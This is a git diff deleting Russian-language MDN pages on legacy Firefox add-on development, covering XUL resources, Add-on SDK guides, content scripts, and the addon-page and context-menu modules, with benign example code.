Эта страница содержит ссылки на документы с описанием подхода к разработке расширений для приложений, работающих на движке Gecko, которые используют:

- - - -

До релиза Firefox 4 и до движка Gecko 2.0 это был единственный способ разработки расширений. Эта методология разработки была заменена на следующие две: расширения, не требующие перезапуска, и расширения на основе Add-on SDK. Они обе построены поверх первой. Привилегированные интерфейсы JavaScript API, описанные здесь могут быть также использованы в новых техниках разработки дополнений.

- -

Школа XUL

- -

Школа XUL - это комплексный учебник по разработке  дополнений, сфокусированный на разработке расширений для Firefox, но также подходящий для других приложений, основанных на движке Gecko.

- -

Ресурсы

- -
-
-
-
Настройка среды
-
Настройка приложений для разработки расширений.
-
XUL
-
Учебники и справочники по языку программирования, используемому XUL-расширениями.
-
Примеры кода
-
Примеры кода, которые пригодятся.
-
Установка расширений
-
Как установить расширение копированием файлов в установочный каталог.
-
Руководство разработчика дополнений для Firefox
-
Руководство по разработка расширений.
-
JavaScript-модули, доступные разработчику
-
JavaScript-модули доступные разработчику расширений.
-
Настройка расширения
-
-
- -
-
-
Как добавить свойства расширения, которые появятся в менеджере дополнений (Add-ons Manager).
-
FAQ
-
Решение некоторых общих проблем.
-
Сборка и установка расширения
-
Сборка и установка.
-
Создание бинарных расширений для Firefox
-
Создание бинарных расширений.
-
Создание расширения
-
Ещё один небольшой самоучитель по созданию расширения (только на русском языке)
-
Динамически изменяемый пользовательский интерфейс на XUL
-
В этой статье обсуждается управление XUL интерфейсами с использованием DOM и других API.
-
Настройка среды разработки расширений
-
В этой статье приводится несколько советов о том, как настроить ваше приложение Mozilla для удобной работы над расширениями.
-
Руководство по XUL
-
Руководство по XUL
-
-
-
diff --git a/files/ru/mozilla/add-ons/sdk/guides/index.html b/files/ru/mozilla/add-ons/sdk/guides/index.html deleted file mode 100644 index 1eacaad55a..0000000000 --- a/files/ru/mozilla/add-ons/sdk/guides/index.html +++ /dev/null @@ -1,365 +0,0 @@ ---- -title: Guides -slug: Mozilla/Add-ons/SDK/Guides -tags: - - Add-on SDK -translation_of: Archive/Add-ons/Add-on_SDK/Guides ---- -

- -
-

Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.

- -

Add-ons using the techniques described in this document are considered a legacy technology in Firefox. Don't use these techniques to develop new add-ons. Use WebExtensions instead. If you maintain an add-on which uses the techniques described here, consider migrating it to use WebExtensions.

- -

Starting from Firefox 53, no new legacy add-ons will be accepted on addons.mozilla.org (AMO) for desktop Firefox and Firefox for Android.

- -

Starting from Firefox 57, only extensions developed using WebExtensions APIs will be supported on Desktop Firefox and Firefox for Android.

- -

Even before Firefox 57, changes coming up in the Firefox platform will break many legacy extensions. These changes include multiprocess Firefox (e10s), sandboxing, and multiple content processes. Legacy extensions that are affected by these changes should migrate to use WebExtensions APIs if they can. See the "Compatibility Milestones" document for more information.

- -

A wiki page containing resources, migration paths, office hours, and more, is available to help developers transition to the new technologies.

-
- - - -

- -

This page lists more theoretical in-depth articles about the SDK.

- -
-

Contributor's guide

- -
-
-
-
Getting Started
-
Learn how to contribute to the SDK: getting the code, opening/taking a bug, filing a patch, getting reviews, and getting help.
-
Modules
-
Learn about the module system used by the SDK (which is based on the CommonJS specification), how sandboxes and compartments can be used to improve security, and about the built-in SDK module loader, known as Cuddlefish.
-
Classes and Inheritance
-
Learn how classes and inheritance can be implemented in JavaScript, using constructors and prototypes, and about the helper functions provided by the SDK to simplify this.
-
-
- -
-
-
Private Properties
-
Learn how private properties can be implemented in JavaScript using prefixes, closures, and WeakMaps, and how the SDK supports private properties by using namespaces (which are a generalization of WeakMaps).
-
Content Processes
-
The SDK was designed to work in an environment where the code to manipulate web content runs in a different process from the main add-on code. This article highlights the main features of that design.
-
Testing the Add-on SDK
-
Learn how to run the Add-on SDK test suites.
-
-
-
- -
-

SDK infrastructure

- -
-
-
-
Module structure of the SDK
-
The SDK, and add-ons built using it, are of composed from reusable JavaScript modules. This explains what these modules are, how to load modules, and how the SDK's module tree is structured.
-
SDK API lifecycle
-
Definition of the lifecycle for the SDK's APIs, including the stability ratings for APIs.
-
-
- -
-
-
Program ID
-
The Program ID is a unique identifier for your add-on. This guide explains how it's created, what it's used for and how to define your own.
-
Firefox compatibility
-
Working out which Firefox releases a given SDK release is compatible with, and dealing with compatibility problems.
-
-
-
- -
-

SDK idioms

- -
-
-
-
Working With Events
-
Write event-driven code using the the SDK's event emitting framework.
-
Content scripts guide
-
An overview of content scripts, including: what they are, what they can do, how to load them, how to communicate with them.
-
-
- -
-
-
Two Types of Scripts
-
This article explains the differences between the APIs available to your main add-on code and those available to content scripts.
-
-
-
- -
-

XUL migration

- -
-
-
-
XUL Migration Guide
-
Techniques to help port a XUL add-on to the SDK.
-
XUL versus the SDK
-
A comparison of the strengths and weaknesses of the SDK, compared to traditional XUL-based add-ons.
-
-
- -
-
-
Porting Example
-
A walkthrough of porting a relatively simple XUL-based add-on to the SDK.
-
-
-
- -
-

Multiprocess Firefox

- -
-
-
-
Multiprocess Firefox and the SDK
-
How to check whether your add-on is compatible with multiprocess Firefox, and fix it if it isn't.
-
-
- -
-
- -
-
-
-
-

Join the Add-on SDK community

- -
-
Choose your preferred method for joining the discussion:
- - -
- -
- -
-
-
-
diff --git "a/files/ru/mozilla/add-ons/sdk/guides/\321\201\320\272\321\200\320\270\320\277\321\202\321\213_\321\201\320\276\320\264\320\265\321\200\320\266\320\270\320\274\320\276\320\263\320\276/index.html" "b/files/ru/mozilla/add-ons/sdk/guides/\321\201\320\272\321\200\320\270\320\277\321\202\321\213_\321\201\320\276\320\264\320\265\321\200\320\266\320\270\320\274\320\276\320\263\320\276/index.html" deleted file mode 100644 index 59832331e8..0000000000 --- "a/files/ru/mozilla/add-ons/sdk/guides/\321\201\320\272\321\200\320\270\320\277\321\202\321\213_\321\201\320\276\320\264\320\265\321\200\320\266\320\270\320\274\320\276\320\263\320\276/index.html" +++ /dev/null @@ -1,519 +0,0 @@ ---- -title: Скрипты Content Scripts -slug: Mozilla/Add-ons/SDK/Guides/Скрипты_содержимого -tags: - - Content script - - Дополнение -translation_of: Archive/Add-ons/Add-on_SDK/Guides/Content_Scripts ---- -
-

{{AddonSidebar}}

- -
-

Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.

-
- -

{{LegacyAddonsNotice}}

- -

Многим дополнениям (add-on) необходим доступ к веб-страницам и возможность их изменения. Но основной код дополнения не имеет прямого доступа к веб-содержимому. Взамен, SDK-дополнений необходим способ в коде, который даст доступ к веб-содержимому в отдельных скриптах, которые называются content scripts (скрипты содержимого). Эта страница описывает как разрабатывать и реализовывать content scripts.

- -

Скрипты content scripts, вероятно, один из наиболее сбивающих с толку аспектов при работе с SDK, но вам они скорее всего будут нужны. Существуют пять основных принципов:

- -
    -
  • расширения основного кода, включая "main.js" и другие модули в "lib", могут использовать SDK верхнего-уровня и нижнего-уровня API, но не имеют доступа к веб-содержимому напрямую;
  • -
  • скрипты content scripts не могут использовать API в SDK (нет доступа к глобальным exports, require) но есть доступ к веб-содержимому;
  • -
  • API в SDK которые используют content scripts, например page-mod и tabs, предоставляют функции, которые позволяют коду расширения загружать скрипты содержимого в веб-страницы;
  • -
  • скрипты content scripts могут быть загружены как строки, но чаще они хранятся как отдельные файлы в папке "data". jpm не создаёт каталог "data" по умолчанию, поэтому вы должны создать его и положить туда ваши скрипты;
  • -
  • API передачи сообщений позволяет основному коду и скриптам content scripts взаимодействовать друг с другом.
  • -
- -

Следующее дополнение (полностью завершённое) показывает эти принципы. "main.js" прикрепляет content scripts к текущей вкладке, используя модуль tabs. В этом случае, content scripts передаётся, как строка. Скрипт content scripts просто заменяет содержимое страницы:

- -
// main.js
-var tabs = require("sdk/tabs");
-var contentScriptString = 'document.body.innerHTML = "<h1>this page has been eaten</h1>";'
-
-tabs.activeTab.attach({
-  contentScript: contentScriptString
-});
- -

Следующие высокоуровневые SDK-модули, могут использовать скрипты content scripts для изменения веб-страниц:

- -
    -
  • page-mod: позволяет вам прикреплять content scripts к веб-страницам, которые соответствуют заданному URL шаблону.
  • -
  • tabs: экспортирует объект Tab для работы с вкладкой браузера. Tab-объект включает функцию attach(), которая позволяет прикрепить content scripts ко вкладке.
  • -
  • page-worker: позволяет вам получить страницу, без отображения её. Вы можете прикрепить content scripts к странице, чтобы иметь доступ и возможность изменять DOM страницы.
  • -
  • context-menu: использует content scripts для взаимодействия со страницей, в которой вызывается меню.
  • -
- -

В дополнение к этому, некоторые SDK компоненты пользовательского интерфейса - panel, sidebar, frame - заданы в помощью HTML, и необходимо использовать отдельные скрипты для взаимодействия с их контентом. В большинстве случаев они похожи на скрипты content scripts, но в данной статье они не описываются. Для изучения способов взаимодействия с данными модулями пользовательского интерфейса обратитесь к документации: panel, sidebar, frame.

- -

Почти все примеры дополнений, представленных в этом руководстве, доступны в полнофункциональном, но минимально необходимом, виде. На GitHub: addon-sdk-content-scripts repository.

- -

Загрузка content scripts

- -
-

Вы можете загрузить одиночный скрипт посредством задания строкового атрибута contentScript или contentScriptFile. Атрибут contentScript определяет строковое значение как сам скрипт:

- -
// main.js
-
-var pageMod = require("sdk/page-mod");
-var contentScriptValue = 'document.body.innerHTML = ' +
-                         ' "<h1>Page matches ruleset</h1>";';
-
-pageMod.PageMod({
-  include: "*.mozilla.org",
-  contentScript: contentScriptValue
-});
- -

Атрибут contentScriptFile определяет строковое значение как путь к ресурсу://URL-путь к скрипту, который находится в подкаталоге вашего дополнения. jpm не создаёт папку "data" по умолчанию, поэтому вы должны добавить её и положить внутрь файл content scripts.

- -

Следующее дополнение использует URL для ссылки на файл "content-script.js", находящийся в папке data в корне дополнения.

- -
// main.js
-
-var data = require("sdk/self").data;
-var pageMod = require("sdk/page-mod");
-
-pageMod.PageMod({
-  include: "*.mozilla.org",
-  contentScriptFile: data.url("content-script.js")
-});
- -
// content-script.js
-
-document.body.innerHTML = "<h1>Page matches ruleset</h1>";
- -
-

Начиная с Firefox 34 и далее , вы можете использовать "./content-script.js" как синоним для self.data.url("content-script.js"). Поэтому можно переписать код main.js, указанный выше, следующим образом:

- -
var pageMod = require("sdk/page-mod");
-
-pageMod.PageMod({
-  include: "*.mozilla.org",
-  contentScriptFile: "./content-script.js"
-});
-
-
- -
-

Настоятельно рекоммендуется использовать  contentScript только для очень простых скриптов или статичных строк: если это не так, то могут возникнуть проблемы с принятием Вашего дополнения на AMO (addons.mozilla.org).

- -

Содержите ваши скрипты в отдельном файле и загружайте их, используя contentScriptFile. Это сделает ваш код проще в поддержке, отладке, безопаснее, удобочитаемее.

-
- -

Для любого из параметров contentScript или contentScriptFile вы можете загружать несколько скриптов, передавая массив строк:

- -
// main.js
-
-var tabs = require("sdk/tabs");
-
-tabs.on('ready', function(tab) {
-  tab.attach({
-      contentScript: ['document.body.style.border = "5px solid red";', 'window.alert("hi");']
-  });
-});
-
- -
// main.js
-
-var data = require("sdk/self").data;
-var pageMod = require("sdk/page-mod");
-
-pageMod.PageMod({
-  include: "*.mozilla.org",
-  contentScriptFile: [data.url("jquery.min.js"), data.url("my-content-script.js")]
-});
- -

Если так сделать, то скрипты смогут взаимодействовать друг с другом, как скрипты загружаемые на одной web-странице.

- -

Можно использовать параметры contentScript and contentScriptFile одновременно. В таком случае скрипты, загружаемые contentScriptFile  загрузятся до contentScript. Это похволяет загружать библиотеки JavaScript, такие как jQuery по URL, а затем использвать их в простом скрипте, загруженном через contentScript:

- -
// main.js
-
-var data = require("sdk/self").data;
-var pageMod = require("sdk/page-mod");
-
-var contentScriptString = '$("body").html("<h1>Page matches ruleset</h1>");';
-
-pageMod.PageMod({
-  include: "*.mozilla.org",
-  contentScript: contentScriptString,
-  contentScriptFile: data.url("jquery.js")
-});
- -
-

Настоятельно рекоммендуется использовать  contentScript только для очень простых скриптов или статичных строк: если это не так, то могут возникнуть проблемы с принятием Вашего дополнения на AMO (addons.mozilla.org).

- -

Содержите ваши скрипты в отдельном файле и загружайте их, используя contentScriptFile. Это сделает ваш код проще в поддержке, отладке, безопаснее, удобочитаемее.

-
- -

Определение момента (времени) подключения скрипта

- -

Опция contentScriptWhen определяет момент, когда content script должен быть загружен. Возможные варианты:

- -
    -
  • "start": загрузить сразу после того, как элемент документа страницы вставляется в DOM. В таком случае DOM-контент ещё пока не загружен, поэтому скрипт не может работать с ним.
  • -
  • "ready": загрузить скрипт после того, как DOM страницы загружен: то есть в точке активации событий DOMContentLoaded. В этот момент content scripts уже могут взаимодействовать с DOM-контентом, но загрузка внешних CSS и картинок ещё могла не завершиться.
  • -
  • "end": загрузить скрипт после завершения загрузки всего контента (DOM, JS, CSS, картинки), в то время, как активируется событие window.onload event.
  • -
- -

Значение по умолчанию "end".

- -

Обратите внимание, что tab.attach() не имеет параметра contentScriptWhen, потому что он обычно вызывается после загрузки страницы.

- -

Передача конфигурационных опций

- -

Атрибут contentScriptOptions это JSON-объект, который используется скриптом как read-only значение доступное через свойство self.options:

- -
// main.js
-
-var tabs = require("sdk/tabs");
-
-tabs.on('ready', function(tab) {
-  tab.attach({
-      contentScript: 'window.alert(self.options.message);',
-      contentScriptOptions: {"message" : "hello world"}
-  });
-});
- -

Могут быть использованы любые варианты JSON-объектов (object, array, string, etc.).

- -

Доступ к DOM

- -

Скрипты content scripts могут иметь доступ к DOM страницы, конечно, только те скрипты, которые уже загрузились на странице. При этом скрипты content scripts изолированы от скриптов web-страницы:

- -
    -
  • content scripts не видят объектов JavaScript, добавленных скриптами web-страницы.
  • -
  • Если скриты web-страницы переопределят поведения каких-либо DOM-объектов, то скрипты content script обнаружат исходное поведение.
  • -
- -

То же происходит в обратную сторону: скрипты web-страницы не увидят объектов JavaScript, добавленных скриптами content scripts.

- -

Например, рассмотрим страницу, где скрипты web-страницы создают переменную foo в объекте window:

- -
<!DOCTYPE html">
-<html>
-  <head>
-    <script>
-    window.foo = "hello from page script"
-    </script>
-  </head>
-</html>
- -

Другой скрипт (но тоже page-script), загруженный на страницу после этого скрипта (указанного выше), будет иметь доступ к foo. Но скрипт content script нет:

- -
// main.js
-
-var tabs = require("sdk/tabs");
-var mod = require("sdk/page-mod");
-var self = require("sdk/self");
-
-var pageUrl = self.data.url("page.html")
-
-var pageMod = mod.PageMod({
-  include: pageUrl,
-  contentScript: "console.log(window.foo);"
-})
-
-tabs.open(pageUrl);
- -
console.log: my-addon: null
-
- -

Есть веские причины для изоляции. Во-первых, из content script не утекают объекты в web-страницу, что потенциально является дырой в безопасности. Во-вторых, content scripts могут не беспокоиться о пересечении объектов с объектами, созданных скриптами web-страницы.

- -

Такая изоляция необходима, например, в случае, если web-страница загружает библиотеку jQuery, но content script не увидит объектов, созданных этой библиотекой. В этом случае content script может добавить свою собственный jQuery-объект, который не пересечётся со страничным объектом.

- -

Взаимодействие со скриптами web-страницы

- -

Обычно изоляция content scripts и page scripts (скрипты web-страницы) необходима. Но иногда вы захотите наладить такое взаимодействие: вы можете захотеть иметь общие объекты между content scripts и page scripts или передевать между ними сообщения. Если появится такая необходимость, то прочтите о взаимодействии со скриптами web-страницы (interacting with page scripts).

- -

Прослушивание событий

- -

Вы можете прослушивать события DOM в скриптах content scripts также, как в обычных скриптах web-страницы. Но есть два важных отличия:

- -

Первое. Если вы определите слушатель через передачу строки в функцию setAttribute(), то слушатель будет вызываться в контексте web-страницы, поэтому он не будет иметь доступа ни к каким переменным, определённым в content script.

- -

Например, при выполнении в данном content script появится ошибка "theMessage is not defined":

- -
var theMessage = "Hello from content script!";
-anElement.setAttribute("onclick", "alert(theMessage);");
- -

Второе. Если вы определите слушатель напрямую через GlobalEventHandlers, например на onclick, то такое определение может быть переопределено на web-странице. Например, здесь представлен add-on, который пытается добавить обработчик click-события при помощи присвоения window.onclick:

- -
var myScript = "window.onclick = function() {" +
-               "  console.log('unsafewindow.onclick: ' + window.document.title);" +
-               "}";
-
-require("sdk/page-mod").PageMod({
-  include: "*",
-  contentScript: myScript,
-  contentScriptWhen: "start"
-});
- -

Это всё будет прекрасно работать на многих страницах, но не сработает там, где также присваивается onclick:

- -
<html>
-  <head>
-  </head>
-  <body>
-    <script>
-    window.onclick = function() {
-      window.alert("it's my click now!");
-    }
-    </script>
-  </body>
-</html>
- -

По этим причинам, лучший вариант для добавления слушалелей это использование addEventListener(), определяющем функцию:

- -
var theMessage = "Hello from content script!";
-
-anElement.onclick = function() {
-  alert(theMessage);
-};
-
-anotherElement.addEventListener("click", function() {
-  alert(theMessage);
-});
- -

Взаимодействие с скриптом дополнения (add-on)

- -

Для организации взаимодействия друг с другом скрипта дополнения (add-on script) и скрипта content script нужно обоим дать доступ к объекту port.

- -
    -
  • для отправки сообщений используется port.emit()
  • -
  • для получения сообщений - port.on()
  • -
- -

Сообщения асинхронны: то есть, отправитель не ждёт ответа от получателя, а только отправляет сообщение и продолжает работать дальше.

- -

Вот пример простого дополнения, которое отправляет сообщение скрипту content script, используя port:

- -
// main.js
-
-var tabs = require("sdk/tabs");
-var self = require("sdk/self");
-
-tabs.on("ready", function(tab) {
-  var worker = tab.attach({
-    contentScriptFile: self.data.url("content-script.js")
-  });
-  worker.port.emit("alert", "Message from the add-on");
-});
-
-tabs.open("http://www.mozilla.org");
- -
// content-script.js
-
-self.port.on("alert", function(message) {
-  window.alert(message);
-});
- -
-

Модуль context-menu не использует данную модель коммуникации. Для изучения варианта взаимодействия скриптов content scripts, загруженных с использованием context-menu, смотрите context-menu documentation

-
- -

Доступ к порту в content script

- -

В скрипте content script объект port доступен через свойство глобального объекта self.  Чтобы послать сообщение из content script:

- -
self.port.emit("myContentScriptMessage", myContentScriptMessagePayload);
- -

Чтобы получить сообщение из кода дополнения:

- -
self.port.on("myAddonMessage", function(myAddonMessagePayload) {
-  // Handle the message
-});
- -
-

Учтите, что глобальный объект self совершенно отличается от модуля self module, предоставляющим API дополнению для доступа к его файлам и ID.

-
- -

Доступ к порту в скрипте дополнения (add-on script)

- -

В коде дополнения канал взаимодействия между дополнением и конкретным content script инкапсулируется посредством объекта worker. Поэтому объект port для для связи со скриптом content script это свойство связанного worker.

- -

Тем не менее, объект worker не расширен на код дополнения так же, как в других модулях.

- -

Сообщения из page-worker

- -

Объект page-worker интегрирует в себе worker API. Поэтому для получения сообщений от скрипта content script, ассоциированного с page-worker нужно использовать pageWorker.port.on():

- -
// main.js
-
-var self = require("sdk/self");
-
-var pageWorker = require("sdk/page-worker").Page({
-  contentScriptFile: self.data.url("content-script.js"),
-  contentURL: "http://en.wikipedia.org/wiki/Internet"
-});
-
-pageWorker.port.on("first-para", function(firstPara) {
-  console.log(firstPara);
-});
- -

Для отправки пользовательских сообщений их дополнения нужно вызвать pageWorker.port.emit():

- -
// main.js
-
-var self = require("sdk/self");
-
-var pageWorker = require("sdk/page-worker").Page({
-  contentScriptFile: self.data.url("content-script.js"),
-  contentURL: "http://en.wikipedia.org/wiki/Internet"
-});
-
-pageWorker.port.on("first-para", function(firstPara) {
-  console.log(firstPara);
-});
-
-pageWorker.port.emit("get-first-para");
- -
// content-script.js
-
-self.port.on("get-first-para", getFirstPara);
-
-function getFirstPara() {
-  var paras = document.getElementsByTagName("p");
-  if (paras.length > 0) {
-    var firstPara = paras[0].textContent;
-    self.port.emit("first-para", firstPara);
-  }
-}
- -

Сообщения из page-mod

- -

Один объект page-mod может привязать свои скрипты к нескольким страницам, каждая из них со своим контекстом, в котором запускаются content scripts. Поэтому для каждой страницы необходим отдельный канал (worker) связи.

- -

page-mod не интегрирует в себе worker API напрямую. Вместо этого, когда скрипт content script привязывается к странице, page-mod бросает событие attach тому слушателю, который связан с worker. Создавая слушатель для события attach, вы можете получить доступ через объект port к тому скрипту content scripts, который связан с нужной страницей (через page-mod):

- -
// main.js
-
-var pageMods = require("sdk/page-mod");
-var self = require("sdk/self");
-
-var pageMod = pageMods.PageMod({
-  include: ['*'],
-  contentScriptFile: self.data.url("content-script.js"),
-  onAttach: startListening
-});
-
-function startListening(worker) {
-  worker.port.on('click', function(html) {
-    worker.port.emit('warning', 'Do not click this again');
-  });
-}
- -
// content-script.js
-
-window.addEventListener('click', function(event) {
-  self.port.emit('click', event.target.toString());
-  event.stopPropagation();
-  event.preventDefault();
-}, false);
-
-self.port.on('warning', function(message) {
-  window.alert(message);
-});
-
- -

В дополнении, описанном выше, есть два сообщения:

- -
    -
  • click отправляется из page-mod в дополнение, когда пользователь кликает на элемент на web-странице
  • -
  • warning отправляет прикольную строчку обратно в объект page-mod
  • -
- -

Сообщения из Tab.attach()

- -

Функция Tab.attach() возвращает worker, который можно использовать для связи со скриптом content script(s).

- -

Следующее дополнение добавляет кнопку в Firefox: когда пользователь надимает её, то дополнение привязывает скрипт content script к активной вкладке, отправляет этому скрипту сообщение "my-addon-message" и ждёт ответ "my-script-response":

- -
//main.js
-
-var tabs = require("sdk/tabs");
-var buttons = require("sdk/ui/button/action");
-var self = require("sdk/self");
-
-buttons.ActionButton({
-  id: "attach-script",
-  label: "Attach the script",
-  icon: "./icon-16.png",
-  onClick: attachScript
-});
-
-function attachScript() {
-  var worker = tabs.activeTab.attach({
-    contentScriptFile: self.data.url("content-script.js")
-  });
-  worker.port.on("my-script-response", function(response) {
-    console.log(response);
-  });
-  worker.port.emit("my-addon-message", "Message from the add-on");
-}
-
- -
// content-script.js
-
-self.port.on("my-addon-message", handleMessage);
-
-function handleMessage(message) {
-  alert(message);
-  self.port.emit("my-script-response", "Response from content script");
-}
- -

Описание port API

- -

Смотрите reference page for the port object.

-
- -

Описание postMessage API

- -

До того, как был введён объект port, дополнения и content scripts общались следующим образом, используя различные API:

- -
    -
  • скрипт content script вызывал self.postMessage() для отправки и self.on() для получения
  • -
  • дополнение (add-on) вызывал worker.postMessage() для отправки и worker.on() для получения
  • -
- -

Данный API до сих пор доступно и документировано, но желательно использовать port API, описанный здесь выше. Исключением является модуль context-menu, который ещё использует postMessage.

- -

Взаимодействие скриптов content script со скриптами content script

- -

Скрипты content scripts могут взаимодействовать друг с другом напрямую если они загружены в одном контексте. Например, если один вызов Tab.attach() привязывает два скрипта content scripts, то они видят друг друга напрямую, как если два скрипта загружены на одну страницу. Но если вызвать Tab.attach() дважды, привязывая content scripts каждый раз, то они уже не будут загружены в одном контексте, и дожны взаимодействовать способами как скрипты из разных контекстов. Один из вариантом это пересылать сообщения через основной код дополнения, используя port API с передачей сообщения другим скриптам context script. Этои вариант будет работать независимо от контекста, в котором загружен скрипт content script.

- -

В отдельном случае, когда два скрипта загружены на одной странице, существует возможность для обоих скриптов content scripts взаимодействовать друг с другом, используя DOM postMessage() API или CustomEvent. Следующее дополнение показывает как скрипт content script, добавленный через page-mod, получает событие CustomEvent, отправленное из context-menu, когда элемент меню был кликнут. Скрипт page-mod будет отображать алерт с URL той ссылки, по которой было отображено контекстное меню. URL передан в скрипт page-mod с использованием CustomEvent.

- -
var pageMod = require("sdk/page-mod");
-pageMod.PageMod({
-  include: "*.mozilla.org",
-  contentScript: 'function contextMenuAlert(href) {'
-               + '    window.alert("The context menu was clicked on URL:\\n" + href);'
-               + '};'
-               + 'window.addEventListener("myAddonId-contextMenu-clicked",'
-               + '    function(event){contextMenuAlert(event.detail);});'
-});
-
-let cm = require("sdk/context-menu");
-cm.Item({
-    label: "Alert URL",
-    context: [
-        cm.URLContext(["*.mozilla.org"]),
-        cm.SelectorContext("a[href]")
-    ],
-    contentScript: 'self.on("click", function (node, data) {'
-                 + '    var event = new CustomEvent("myAddonId-contextMenu-clicked",'
-                 + '                                {detail:node.href});'
-                 + '    window.dispatchEvent(event);'
-                 + '});'
-});
- -

Междоменные скрипты content script

- -

По умолчанию скрипты content script не имеют никаких междоменных привилегий. В частности, они не имеют доступа к содержимому в iframe, если содержимое получено из другого домена, или выполняются междоменные XMLHttpRequests.

- -

Однако, вы можете разрешить эти функции для заданных доменов, путём добавления их в package.json дополнения в ключе "cross-domain-content", который расположен в ключе "permissions". Смотрите статью междоменные скрипты содержимого.

-
diff --git a/files/ru/mozilla/add-ons/sdk/high-level_apis/addon-page/index.html b/files/ru/mozilla/add-ons/sdk/high-level_apis/addon-page/index.html deleted file mode 100644 index 069cb199b2..0000000000 --- a/files/ru/mozilla/add-ons/sdk/high-level_apis/addon-page/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Страницы дополнения -slug: Mozilla/Add-ons/SDK/High-Level_APIs/addon-page -translation_of: Archive/Add-ons/Add-on_SDK/High-Level_APIs/addon-page ---- -

{{AddonSidebar}}

- -

{{obsolete_header(35)}}

- -

Создание простых страниц

- -

Применеие

- -

С помошью Add-on SDK Вы можете представлять данные пользователю, такие как руководство по использованию вашего дополнения во вкладке браузера. Вы можете подгружать содержимое из HTML файла в "data" директории дополнения.

- -
-

Заметка: Данный модульне влияет на браузер.

-
- -

Для подобных страниц, navigational elements such as the Awesome Bar, Search Bar, or Bookmarks Toolbar are not usually relevant and distract from the content you are presenting. The addon-page module provides a simple way to have a page which excludes these elements.

- -

Чтобы импортировать содержимое, используйте require(). После чего, данные загрузятся из "data/index.html" без элементов навигации:

- -
var addontab = require("sdk/addon-page");
-var data = require("sdk/self").data;
-
-require("sdk/tabs").open(data.url("index.html"));
-
- -

- -

Это влияет только на "data/index.html": остальные страницы отображаются нормально.

diff --git a/files/ru/mozilla/add-ons/sdk/high-level_apis/context-menu/index.html b/files/ru/mozilla/add-ons/sdk/high-level_apis/context-menu/index.html deleted file mode 100644 index 2d88abc734..0000000000 --- a/files/ru/mozilla/add-ons/sdk/high-level_apis/context-menu/index.html +++ /dev/null @@ -1,578 +0,0 @@ ---- -title: context-menu -slug: Mozilla/Add-ons/SDK/High-Level_APIs/context-menu -translation_of: Archive/Add-ons/Add-on_SDK/High-Level_APIs/context-menu ---- -
-

Stable

-
-

Как добавить элемент меню, подменю и разделитель в контекстное меню страницы.

-

Использование

-

Instead of manually adding items when particular contexts occur and then removing them when those contexts go away, you bind items to contexts, and the adding and removing is automatically handled for you. Items are bound to contexts in much the same way that event listeners are bound to events. When the user invokes the context menu, all of the items bound to the current context are automatically added to the menu. If no items are bound, none are added. Likewise, any items that were previously in the menu but are not bound to the current context are automatically removed from the menu. You never need to manually remove your items from the menu unless you want them to never appear again.

-

For example, if your add-on needs to add a context menu item whenever the user visits a certain page, don't create the item when that page loads, and don't remove it when the page unloads. Rather, create your item only once and supply a context that matches the target URL.

-

Context menu items are displayed in the order created or in the case of sub menus the order added to the sub menu. Menu items for each add-on will be grouped together automatically. If the total number of menu items in the main context menu from all add-ons exceeds a certain number (normally 10 but configurable with the extensions.addon-sdk.context-menu.overflowThreshold preference) all of the menu items will instead appear in an overflow menu to avoid making the context menu too large.

-

Specifying Contexts

-

As its name implies, the context menu should be reserved for the occurrence of specific contexts. Contexts can be related to page content or the page itself, but they should never be external to the page.

-

For example, a good use of the menu would be to show an "Edit Image" item when the user right-clicks an image in the page. A bad use would be to show a submenu that listed all the user's tabs, since tabs aren't related to the page or the node the user clicked to open the menu.

-

The Page Context

-

First of all, you may not need to specify a context at all. When a top-level item does not specify a context, the page context applies. An item that is in a submenu is visible unless you specify a context.

-

The page context occurs when the user invokes the context menu on a non-interactive portion of the page. Try right-clicking a blank spot in this page, or on text. Make sure that no text is selected. The menu that appears should contain the items "Back", "Forward", "Reload", "Stop", and so on. This is the page context.

-

The page context is appropriate when your item acts on the page as a whole. It does not occur when the user invokes the context menu on a link, image, or other non-text node, or while a selection exists.

-

Declarative Contexts

-

You can specify some simple, declarative contexts when you create a menu item by setting the context property of the options object passed to its constructor, like this:

-
var cm = require("sdk/context-menu");
-cm.Item({
-  label: "My Menu Item",
-  context: cm.URLContext("*.mozilla.org")
-});
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ConstructorDescription
PageContext() The page context.
SelectionContext() This context occurs when the menu is invoked on a page in which the user has made a selection.
SelectorContext(selector) This context occurs when the menu is invoked on a node that either matches selector, a CSS selector, or has an ancestor that matches. selector may include multiple selectors separated by commas, e.g., "a[href], img".
URLContext(matchPattern) This context occurs when the menu is invoked on pages with particular URLs. matchPattern is a match pattern string or an array of match pattern strings. When matchPattern is an array, the context occurs when the menu is invoked on a page whose URL matches any of the patterns. These are the same match pattern strings that you use with the page-mod include property. Read more about patterns.
PredicateContext(predicateFunction)predicateFunction is called when the menu is invoked, and the context occurs when the function returns a true value. The function is passed an object with properties describing the menu invocaton context.
arrayAn array of any of the other types. This context occurs when all contexts in the array occur.
-

Menu items also have a context property that can be used to add and remove declarative contexts after construction. For example:

-
var context = require("sdk/context-menu").SelectorContext("img");
-myMenuItem.context.add(context);
-myMenuItem.context.remove(context);
-

When a menu item is bound to more than one context, it appears in the menu when all of those contexts occur.

-

In Content Scripts

-

The declarative contexts are handy but not very powerful. For instance, you might want your menu item to appear for any page that has at least one image, but declarative contexts won't help you there.

-

When you need more control over the context in which your menu items are shown, you can use content scripts. Like other APIs in the SDK, the context-menu API uses content scripts to let your add-on interact with pages in the browser. Each menu item you create in the top-level context menu can have a content script.

-

A special event named "context" is emitted in your content scripts whenever the context menu is about to be shown. If you register a listener function for this event and it returns true, the menu item associated with the listener's content script is shown in the menu.

-

For example, this item appears whenever the context menu is invoked on a page that contains at least one image:

-
require("sdk/context-menu").Item({
-  label: "This Page Has Images",
-  contentScript: 'self.on("context", function (node) {' +
-                 '  return !!document.querySelector("img");' +
-                 '});'
-});
-

Note that the listener function has a parameter called node. This is the node in the page that the user context-clicked to invoke the menu. You can use it to determine whether your item should be shown.

-

You can both specify declarative contexts and listen for contexts in a content script. In that case, the declarative contexts are evaluated first, and your item is shown only when all declarative contexts are current and your context listener returns true.

-

If any declarative contexts are not current, then your context listener is never called. This example takes advantage of that fact. The listener can be assured that node will always be an image:

-
